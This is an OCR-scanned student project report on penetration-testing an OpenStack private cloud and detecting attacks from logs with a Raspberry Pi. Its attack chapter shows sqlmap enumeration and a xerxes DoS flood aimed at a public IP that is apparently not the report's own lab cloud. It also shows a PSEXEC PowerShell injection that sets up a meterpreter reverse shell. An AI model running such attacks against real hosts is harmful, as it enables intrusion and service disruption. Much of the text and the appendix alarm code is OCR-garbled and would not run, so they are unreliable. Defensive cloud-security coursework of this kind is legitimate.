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ABSTRACT

Nowadays, cloud technology is becoming common among large organizations. Many technology
companies are providing cloud services publicly. Open stack is an open-source software platform
for cloud computing. Many large organizations are deploying private cloud in their offices to save
the money being spent on cabling and expensive work stations. Since cloud technology is based
on internet it becomes vulnerable to a variety of cyber-attacks. To keep data of private cloud well
protected we need to secure our private cloud environment. To validate the security of cloud
environment we will generate different attacks on cloud and capture the logs generated by these
attacks. On basis of those logs we will make precautionary measures to enhance data security.
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PREFACE

This basis for this research originally stemmed from our passion for developing better methods to
make masses more socially aware from security threats. As the world moves further into the digital
age, generating vast amounts of products to make people socially connected, there will be a greater

need to access latest technology in suitable way which is not harmful to any individual.
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Chapter 1 : Introduction

This chapter provides a brief overview of information that has always been an important
concern of modern day communication procedures. One way to ensure system and
communication safety is to perform penetration testing. Pen testing is the practice of testing
computer software, networks and internet application for finding vulnerabilities that a hacker
cloud exploit. This is done by simulating an intrusive attack on the system/network/application.
We will perform penetration test on our cloud environment to find vulnerabilities and to make
appropriate and necessary precautions.

1.1 Problem Statement

Cloud technology is becoming important on a large scale. Data that is present on cloud is now
become exposed and vulnerable to attacks with cloud environment’s deployment. Presently no
SIEM is available in market for cloud technology at reasonable price.

1.2 Approach

This chapter provides a brief overview of information that has always been an important
concern of modern day communication procedures. One way to ensure system and
communication safety is to perform penetration testing. Pen testing is the practice of testing
computer software, networks and internet application for finding vulnerabilities that a hacker
cloud exploit. This is done by simulating an intrusive attack on the system/network/application.
We will perform penetration test on our cloud environment to find vulnerabilities and to make
appropriate and necessary precautions.

1.3 Objectives

The project objectives can be broadly divided into Academic and Industrial objectives. The
project is based on the concepts of Computer & communication Networks and Network
Security. One main objective of the project is to do penetration test on cloud environment and
make appropriate measures to make cloud environment secure. Raspberry Pi will be used to
store the logs and analyse those logs.

1.3.1. Academic Objectives

We have to focus the requirements of software engineers, application developer operators,
community working groups and commercial ecosystem .Each of them are elaborate in
sequence.

Academic objectives focus on the Software engineers who give their part mainly to review
code for the projects that form the foundation of the OpenStack cloud platform.

Writers gives different types of the product and usage documentation and then translation this.
Application Developers who write applications that run on the OpenStack Cloud Infrastructure.



Operators/Users: are the People who deploy this infrastructure and operate an OpenStack based
cloud infrastructure and use the applications that run on the OpenStack cloud platform.

Community Working Groups: Focused teams that gather user requirements from particular
different parts and segments.

Commercial ecosystem: service providers that provide different tools, applications to deploy.

1.3.2 Industrial Objectives

Industrial and organizational changes is one of the major challenges to deploying an OpenStack
cloud which involves organizational and cultural changes in IT Serurity business.
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Chapter 2: Background

Introduction

Basic knowledge regarding cloud environment as well as fundamental understanding of
different security threats to cloud environment was mainly required before starting this project.
Hence various research papers, technological articles and cloud forums were studied and
consulted. A brief description of all the topics that were studied for the project is given below

2.1. Project Domain

The scope of the Testing Security Controls:

NMARS will make our cloud environment secure for users
1. Ensure System Security:

To ensure system security we have to focus flaw in our cloud environment, then we
become able to overcome that flaw.

2. Prevention from Data Breach:
Overcoming security flaws will prevent breach into our data by the hacker.

3. Banking and other networks:

By hackers the major target are Banking networks. Hackers not only make them
threatened but also give them a bad lose in some cases. Pen- testing of banking networks
will make sure that their security is best.

2.2. Literature Review
On the basis of existing literature we can use following attacks:
Availability.

» Distributed Denial Of Service or service failure

» Account lockout
> Buffer over-flow

Data Security

» Cross-site scripting
> Access control weakness
> Privilege escalation

Network Security:



» Penetration testing of the Network
» Session Hijacking for stealing cookies
» Data Packet Interception

Identity Management

» Woeakness Authentication and authorization
> Insecure and failed trust

2.2.1 Cloud Architecture

Cloud Computing Architecture: Mention the major components required for cloud
computing work. These components majorly consist of two types of the platform which are
following

A front-end platform (mobile terminals and tablets devices), back end platforms (physical
servers, servers for storage purpose), delivery of data which is based on cloud, and a network
which contain Internet, Intranet and Intercloud. If we combined all these components cloud
architecture established.

Cloud delivers:

» Cloud as Software as a Service
» Cloud as Platform as a Service

» Cloud as Infrastructure as a Service

2.2.2. Cloud Security Issues

Availability:

Important feature of the cloud is the availability. Companies having no offices or of with
integrated and collective IT systems anywhere and anytime access to services, tools and data
and is the future. Also related to reliability: service that is on 24 hours available 24x7 but goes
constantly offline is useless. For a service to have true high-availability, it needs not only to
be available, but also to have 99.99% percentage of reliability and trust. We need to make sure

that our cloud services are available to our users at every time to our customers.

Data Security:
A huge number of security threats are linked with cloud data services: not only older security

threats, such as eavesdropping in the smaller network SQL, cross site scripting, and DDOS

attacks, but also specific cloud related threats, such as attacks on the side channel, virtualization



vulnerabilities, and abuse of cloud services. The following security requirements limit the
threats.

e Confidentiality of data which is transfer through chanel
e Control of accessibility on network traffic
e Integrity of data that is available to receiver side.

Identity Management:

Challenges for organizations for using cloud computing services is the free of threats and
management which is in time if the on-boarding and off-boarding which is called provisioning
and deprovisioning of users in the cloud platform. Moreover, enterprises invest in the process
of user management within an enterprise that is trying to extend those types of the processes

to cloud services.

Summary:
This chapter gives a brief discussion of background knowledge and literature review. On the

basis of existing literature different attacks are performed for the Availability, Data Security,
Network Security, identity Management. Then discus about cloud architecture and its different
layers PAAS, SAAS, IAAS. At the last cloud security issues and data integrity is discussed.
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Chapter 3: Designs Requirements and Specification

Introduction
This chapter provides basic design and technology requirements for the project specifications,

attacking tools, proposed methodology and hardware and software requirements.

3.1. Project Perspective
Our project will provide a solution named as “NMARS” which will secure our cloud from

attacks. We have to secure the storage and data of each user from other users.

3.2. Product Specification
Workstation with at least 16 GB Ram and 500 GB Hard Disk

> VMWare Workstation
> Raspberry Pi
> Linux Ubuntu

> Kali Linux

3.2.1. Attacking tools

Following attacking tools will be used to test the cloud the environment:

> SET (Social Engineering Toolkit)

> Kismet (Wireless 802.11b monitoring tool)

> Aircrack-ng (WEP/WPA cracking program)

> Nmap (The Network Maper)

> Netcat (TCP/IP swiss army knife)

> Xprobe (Remote OS identification)

> Tcpdump (command-line network traffic analyzer)

> Netmask (Makes a ICMP netmask request)

> Ettercap (Sniffing of live connections/Man in Middle Attacks)
> Amap (A powerful application mapper)

> POf (Passive OS fingerprinting tool)

> |crack (A generic password cracker)

> Chaosreader (trace network sessions and export it to html format)



> Bsqlbf (Blind SQL injection brute forcing tool)
> Vidalia (Controller GUI for Tor)

3.2.2. Proposed Methodology

Challenge: we will generate different attacks on our cloud using Kali-Linux and we will
gather the logs from cloud side. After collecting the data from logs our NMARS will perform
analysis on logs and on basis of logs it will generate appropriate response for the admin.

|
9 vt o b AT 4
P - tomnfl
E O & '

OpenStack Based Private Cloud m
Attacker PC in same network

raspberry pi 3

v
@

Alarm

‘\Q @

Figure.1 Block Diagram

3.3 Software and Operating Systems Requirements
The required operating system

v" VMWare Workstation,

v" Linux Ubuntu,
v" Kali Linux.
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v Open stack cloud installation and configuration of different services like cinder,
neutron, nova, glance, key stone and a dash board which is horizon.

3.4 Hardware Requirements

The Hardware required for the implementation of the project includes:

Raspberry Pi, and alarm generation key which include buzzer, switch, LEDs, a small power,
battery

Summary:
The chapter includes study on the different types of attacking tools, the block diagram which

show the basic methodology used for the projects progress, and hard ware and software

requirements which software and hardware Kit is necessary for the design.

11
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Chapter 4: Establishment of Cloud

Introduction
In this the complete established cloud is present with the installation of different services that are

provided by OpenStack -a private cloud infrastructure.

4.1. Installation of Component

4.1.1 Installation of Keystone

%) stack@ubuntu: ~/devstack

| ( 19 va ] 2ES Py ) ent

oObtaining file:///opt/stack/keystone

Obtaining keystone from file:///opt/stack/keystone#egg=keystone (from -c Jopt/stack/requirem

ents/upper-constraints.txt (line 1))

Requirement already satisfied: Babel===2.5.3 in /usr/local/lib/python2.7/dist-packages (from
-c Jopt/stack/requirements/upper-constraints.txt (line 3))

Collecting Paste===2.0.3 (from -c /Jopt/stack/requirements/upper-constraints.txt (line 16))

Fig.2 keystone installation
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4.1.2. Installation of Cinder

' stack@ubuntu: ~/devstack

pbtaining file:///opt/stack/cinder

bbtaining cinder from file:///opt/stack/cinder#egg=cinder (from -c /opt/stack/requirements/u

bper-constraints.txt (line 1))

kequirement already satisfied: Babel===2.5.3 in /usr/local/lib/python2.7/dist-packages (from
-c /opt/stack/requirements/upper-constraints.txt (line 3))

kequirement already satisfied: Paste===2.0.3 in /usr/local/lib/python2.7/dist-packages (from
-c Jopt/stack/requirements/upper-constraints.txt (line 16))

kequirement already satisfied: PasteDeploy===1.5.2 in /usr/local/lib/python2.7/dist-packages
(from -c Jopt/stack/requirements/upper-constraints.txt (line 17))

kequirement already satisfied: PyMySQL===0.8.0 in /usr/local/lib/python2.7/dist-packages (fr

bm -c /opt/stack/requirements/upper-constraints.txt (line 23))

pequirement already satisfied: Routes===2.4.1 in /[usr/local/lib/python2.7/dist-packages (fro
-c Jopt/stack/requirements/upper-constraints.txt (line 27))

pequirement already satisfied: SQLAlchemy===1.2.1 in /usr/local/lib/python2.7/dist-packages
from -c Jopt/stack/requirements/upper-constraints.txt (line 28))

pequirement already satisfied: WebOb===1.7.4 in Jusr/local/lib/python2.7/dist-packages (from
-c Jopt/stack/requirements/upper-constraints.txt (line 34))

kequirement already satisfied: castellan===0.17.0 in /usr/local/lib/python2.7/dist-packages
from -c Jopt/stack/requirements/upper-constraints.txt (line 99))

kequirement already satisfied: coverage===4.4.2 in /usr/local/lib/python2.7/dist-packages (f
om -c /opt/stack/requirements/upper-constraints.txt (line 111))

kequirement already satisfied: cryptography===2.1.4 in /usr/local/lib/python2.7/dist-package

L (from -c /opt/stack/requirements/upper-constraints.txt (line 114))

Fig3.installation of cinder
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4.1.3. Installation of Glance

& ® & stack@ubuntu: ~/devstack
Ignoring r ma ' .

//opt/stack/glance

Obtaining glance from file:///opt/stack/glance#egg=glance (from -c /Jopt/stack/requirements/u

pper-constraints.txt (line 1))

Requirement already satisfied: Babel===2.5.3 in /usr/local/lib/python2.7/dist-packages (from
-c Jopt/stack/requirements/upper-constraints.txt (line 3))

Requirement already satisfied: Paste===2.0.3 in /usr/local/lib/python2.7/dist-packages (from
-c Jopt/stack/requirements/upper-constraints.txt (line 16))

Requirement already satisfied: PasteDeploy===1.5.2 in /usr/local/lib/python2.7/dist-packages
(from -c /opt/stack/requirements/upper-constraints.txt (line 17))

Requirement already satisfied: PyMySQL===0.8.0 in /usr/local/lib/python2.7/dist-packages (fr

om -c /opt/stack/requirements/upper-constraints.txt (line 23))

Requirement already satisfied: Routes===2.4.1 in /usr/local/lib/python2.7/dist-packages (fro

m -c /opt/stack/requirements/upper-constraints.txt (line 27))

Requirement already satisfied: SQLAlchemy===1.2.1 in /usr/local/lib/python2.7/dist-packages

Fig4. Installation of glance

4.1.4. Successfully Established Cloud

Fig5. Established cloud

15



4.2. Hyper-V

Server virtualization

Hypervisors - OpenStack Dashboard - Mozilla Firefox

£3 Hypervisors - OpenStac. X

< [~
s openstack. =aomn
Project >
Admin v
Overview
Compute v

Host Aggregates
Instances

Flavors

Images

Volume >
Network >
system >

Identity >

192.168.0.165/dashboard/home/

Change IP /

@ 192.168.0.165/d

Admin / Compute / All Hypervisors

All Hypervisors

Hypervisor Summary

4

VCPU Usage
Used 1018

Compute Host

Hypervisor

Displaying 1 item

VCPUs
Hostname
Tvpe (used)
muhammad-HP-EliteDesk-800-G3-T
QEMU 1

WR

Displaying 1 item

Fig6.Virtual Server

4.3. Establishment of instances

Instances - Openstac

— c @
£ openstack
Froject ~
Compute ~
Sverview
"
Key Pairs
Server Groups
Volumes >
Network >
Admin >
Identity >

Projeat/ioomte 7 i
Instances
indtanca 1D/ <
Displaying 1 ftem
instance image
@ Instan image 1P Address  Fiavor
10.0.0.00
O stack inat Fioating ot e

172.24.4.13

Displaying 1 item

Fig7.launched instances

Memory Usage
Used 576MB of 15.6GB

VCPUs RAM RAM Local Storage
(total) (used) (total) (used)
8 576MB 15.6GB 0Bytes

Filter @ Launch Instance More Ac -
Key Availability o Power Time since =
Pair Sl Task  State created Aehiom
Active nova None  Running SR v GCreate Snapshot | ~

16

28 minutes

N
& admin =
Local Disk Usage
Used 0Bytes of 439GB
Local Storage Instances
(total)
439GB 1

[\ s} =

& aomin -




Summary:
The chapter includes installation different components of cloud glance, key stone, and key stone

are mention in this chapter. After this a complete successfully established cloud is shown. Then
different types of instances which are virtual operating system are launched on the hypervisor.
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Chapter 5: Analysis and Evaluation

Introduction
The chapter is about analyses of the cloud services security by simulating different types of attacks
through the kali Linux backtrack.

5.1 Testing and Attacks

5.1.1 SQL Injection attack

File Edit View Search Terminal Help

:~# sqlmap -u 207.58.139.142 -D db alf284 dbf spub --tables

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 21:47:42

sqlmap got a refresh request (redirect like response common to login pages). Do
you want to apply the refresh from now on (or stay on the original page)? [Y/n]

Fig8(a).SQL injection

19



root@ArsalanAZ: ~ e G O
File Edit View Search Terminal Help

db_alf284 dbfspub

archive
archive cat
category

editorial

Fig8(b). SQL injection

5.1.2. DDOS Attack

root@ArsalanAZ: ~/xerxes

# cd xerxes/
: erxes# ./xerxes 207.58.139.142 80
[Connected -> 207.58.139.142:80)
[6: Voly Sent]
[Connected -> 2087.58.139.142:860])
[1: Voly Sent]
[Connected -> 207. .139. :80])
[0: Voly Sent]
[Connected » 207 139.142:80]
. [2: Voly Sent]
az.apk [Connected -> 207.58.139.142:80]
[1: Voly Sent]
[Connected -> 207. 139.142:80])
[0: Voly Sent]
[Connected -> 287 139
all Linux - [3: Voly Sent]
Fluxion [Connected -> 2087. -139.
Hacking [2: Voly Sent]
[Connected iy
[1: Voly Sent]

Fig9.DDOS

20



5.1.3 Psexec Powershall Injection
(Untitled)

Terminal

File Edit View Search Terminal Help

https://github.com/trustedsec/ptf

-

Please update SET to the latest before submitting any git issues.

I

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

Exit the Social-Engineer Toolkit

*(Untitled)

File f“ A —
Terminal e ® O

@ File Edit View Search Terminal Help
- | 99) Exit the Social-Engineer Toolkit

> 2

Welcome to the Social-Engineer Toolkit - Fast-Track Penetration Testing platform

@ . These attack vectors

have a series of exploits and automation aspects to assist in the art of penetra
ﬁ tion testing. SET

now incorporates the attack vectors leveraged in Fast-Track. All of these attack

‘Jl vectors have been
B completely rewritten and customized from scratch as to improve functionality and

>/-@ capabilities.
1 ﬁ 1) Microsoft SQL Bruter
2) Custom Exploits
— 3) SCCM Attack Vector
B 4) Dell DRAC/Chassis Default Checker
5) RID ENUM - User Enumeration Attack
8ee 6) PSEXEC Powershell Injection
i, Return to Main Menu
B
a3 >

21




Fig 9(b).Psexec Powershall Injection

*(Untitled)

Terminal

@ File Edit View Search Terminal Help
99) Return to Main Menu

>6

PSEXEC Powershell Injection Attack:

GD This attack will inject a meterpreter backdoor through powershell memory injecti
on. This will circumvent

IFi Anti-Virus since we will never touch disk. Will require Powershell to be install
ed on the remote victim

iﬁ}machlne. You can use either straight passwords or hash values.

vg - Enter the IP Address or range (RHOSTS) to connect t0:192.168.8.103
. Enter the username:AZ786
!? 3 Enter the password or the hash:1234567890
- Enter the domain name (hit enter for logon locally):
- > How many threads do you want [enter for default]:
' > IP address or URL (www.ex.com) for the payload listener (LHOST) [192.168.8.
100]. 192.168.8.100
> Enter the port for the reverse [443)]:2869
[*] Prepp)nq the payload for delivery and injecting alphanumeric shellcode.
[*] Generating x86-based powershell injection code.
[*] Reverse HTTPS takes a few seconds to calculate..One moment. .

W
Fig 9(c). Psexec Powershall Injection

meterpreter > sy51nfo
Computer ROXY -PC

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : xX64/windows

Fig 9(d). Psexec Powershall Injection

meterpreter > sy51nfo
Computer ROXY -PC

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows

22



Summary:

The chapter includes the detail results of different types of attacks which are performed to check
the availability of cloud services, present of any virus and injection in database and other different
security threats.

The performed attacks are DDOS, SQL injection, PSEXEC Powershall Injection

23



Chapter 6: Monitoring of logs

6.1. logs collection and analyses
6.2. Importance of log monitoring
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Chapter 6: Monitoring of logs

Introduction

Logs analyses is performed to identify any change which is accrued due to attacks because logs
are only ways to check any change through an event. Audit logs are used to identify the change in

events.

6.1. logs centralized collection and analyses

dstat-csv.log (Jopt/stack/logs) - gedit
Recent

£ Home
& dstatcsv.log worlddump-2018- The file “fopt/stack/logs/dstat-csvlog" changed on disk. Reload Ignore
Desktop 5 Y —
DRSO FDstat 8.7.2 CSV output”
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6.2. Importance of log monitoring

Event monitoring is a good approach to securing providing cloud real-time detection. Now we
working on an important use cases to focus when implementing log collections, analysis and
monitoring. These use cases can be implemented and monitored through Raspberry Pi. This can
generate events that can be sent to administrators through email or viewed in the integrated
dashboard or generate an alarm.

To consider more use cases that may apply to our specific network and what we may consider.

1. If log generation is not present that an even would generate that is high value. Event like
that show a service failed or a switched off intruder who has logging or modified the level
of log to make hide their paths.

2. Start or Stop events that unscheduled also be events to monitor and examine Application
events s for possible implementation of the security.

3. Events on the OpenStack service are Operating system event such as logins or restarts also
provide insight into very proper manner and improper manner usage of systems.

4. Detect the pressure of load on the cloud of OpenStack servers also enables responding by
the method of launching the additional servers for load balancing for making sure ensure
high level of availability for the user and other customers.

5. Actionable events are networking base which is going down ward, IP tables being flushed
on compute the zone nodes and great loss of availability to instances resulting in bad
response from the customers.

6. For making sure that level of the risk is reduce from instances on a user, or domain deletion
in the checking out service there is method to generate alarm in the system and have
OpensStack gives different types of response to these events as appropriate such as
terminating instances, disconnecting attached volumes, CPU and storage resources and so

on.
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Figll. Raspberry Pi 3

Figre12: USB to Ethernet Converter

Summary:

The chapter includes the centralized collection of logs and logs are captured and stored in the
raspberry Pi. On the basis of logs analyses the Raspberry Pi will generate the alarm. And
importance of logs in also discussed because logs are the basic thing for monitoring the events.
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Chapter 7: Future Work and Conclusion

7.1 Future Work
7.1.1. Implementation in security organizations
7.2 Conclusion

7.3 Summary
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Chapter 7: Future Work and Conclusion

Introduction
In this chapter we will discuss the future aspects of the Network monitoring and response system

as well as industrial/organizational implementation of the project.

7.1. Future Work

A project like NMRS is majorly based on open stack cloud which is a Private Cloud. OpenStack
has developed over the past four to five years, IT experts and developers around the whole world.
Will be on to the point where it is now taking serious attention from those peoples. While in a
comparison advance technology, it is of significant importance. The day is not far when OpenStack
will may become a household name which base on the cloud computing infrastructure.

Benefits that are linked to open source cloud platforms are Increasing day by day many of the these
advantages are mentioned , such as community of strong power for collective developing, there

are several reasons why it is important to keeping an big eye on OpenStack.

7.1.1. Implementation in security organizations

Our project will provide all types of detection related to private cloud. Business agility is more
prominent and faster innovation to making every types of applications related to production and
deployment of Big data The IT-as-a-service uses this stack to change their virtualized cloud

environment into self-service IT.

7.2. Conclusion

Nowadays, cloud technology is becoming common among large organizations. Many technology
companies are providing cloud services publicly. Open stack is an open-source software platform
for cloud computing. Many large organizations are deploying private cloud in their offices to save
the money being spent on cabling and expensive work stations. Since cloud technology is based
on internet it becomes vulnerable to a variety of cyber-attacks. These attacks are of many types so
we detect these attacks on the basis of logs first we taking logs and then we check severity of these
log and on the basis of severity we generate an alarm. In this way we detect attacks in real time.
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7.3. Summary

From all the private clouds available in market we choose Linux based Open stack private cloud.
We deployed it in a system with at least RAM of 16 Gb. We deployed it using Devstack script.
After deploying it we created three instances one with centos, one with Linux Backtrack, one with
Ubuntu. We using Linux Backtrack tried to get permissions of Ubuntu user. We first of all used
MySQL injection to login after multiple failed attempts with MySQL scripts. We tried brute
forcing to login. We failed to login using either of ways. We than tried Dos attack from within the
network on the other instances IP. DOS attack from within network on cloud IP and other users IP
remained successful. We tried to DOS attack on Cloud IP and other users IP from outside the
network. DOS attack was successful on Cloud IP and remained unsuccessful on instances IP.
These attacks generated logs in admin system. Component dealing with login credentials is
Keystone. Keystone logs mention all the failed attempts or attempts with certain script in them.
We can analyze the Keystone log file to discover about MySQL injections. We than analyze
neutron log file to discover about the DOS attack or DDOS attack but we currently is dealing with
DOS attack just. We will check if more than allowed traffic is coming from same IP within five
seconds. Our log analyzer (Raspberry Pi) will monitor the log files on the basis of the algorithm
defined by us. We will monitor neutron log file to look for DOS attack and Keystone log file for
MySQL injection. On basis of severity of attack our log analyzer will generate alarm alert and will

send an email to admin to take suitable attacks to avoid such attack.
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Appendix

1. Appendix A — Code for generation of alarm
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APPENDIX-A
Code for detection of attacks on OpenStack based private cloud

import RPi.GPIO as GPIO //to import library to use general purpose input output pins of
raspberry pi

from time import sleep

buzzer = 17 //pin to attach alaram
GPIO.setup(buzzer , GP10.0UT)
GPIO.output(buzzer , 0)

f = open("C:/Users/M. RAZI/Downloads/text.txt", "r") /Il log file of the networking
component of cloud

¢ = f.readline(15) //read first 15 characters of the line which contain IP of the user

while ¢
d=f.readline(15)
iIf c==d //compaers IP's to see if traffic is coming from same IP
d=f.readline(15)

if c==d
d=f.readline(15)
if c==d
print("Kindly Review the activity")
GPIO.output(buzzer, 1) //After multiple checks we turn buzzer
on
sleep(10) //buzzer keep ringing for 10 seconds
else
c=d

GPI10O.output(buzzer , 0)
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